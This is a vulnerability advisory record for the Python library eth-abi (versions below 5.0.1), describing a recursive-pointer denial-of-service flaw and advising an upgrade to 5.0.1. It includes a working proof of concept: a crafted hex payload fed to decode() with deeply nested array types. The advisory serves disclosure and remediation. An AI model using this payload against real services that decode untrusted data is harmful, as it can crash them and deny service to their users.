---
id: GHSA-3qwc-47jf-5rf7
title: eth-abi is vulnerable to recursive DoS
summary: eth-abi is vulnerable to recursive DoS
severity: medium
vendor: eth-abi
product: eth-abi
ecosystem: pip
affected:
  - eth-abi < 5.0.1
patched:
  - eth-abi 5.0.1
published: '2024-03-05'
updated: '2026-09-01'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-3qwc-47jf-5rf7'
references:
  - url: >-
      https://github.com/ethereum/eth-abi/security/advisories/GHSA-3qwc-47jf-5rf7
  - url: 'https://github.com/ApeWorX/eth-abi/pull/226'
  - url: >-
      https://github.com/ethereum/eth-abi/commit/82c1ad37a866472562d81fedaef0f4fed0a08269
  - url: 'https://github.com/ethereum/eth-abi'
tags:
  - osv
  - pip
ingestedAt: '2026-09-02T19:31:22.509Z'
---

## Overview

This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue

```py
from eth_abi import decode


payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020"

# OverflowError: Python int too large to convert to C ssize_t
#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))

decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))
```

## Affected packages

- `eth-abi < 5.0.1`

## Remediation

Upgrade to a patched release:

- `eth-abi 5.0.1`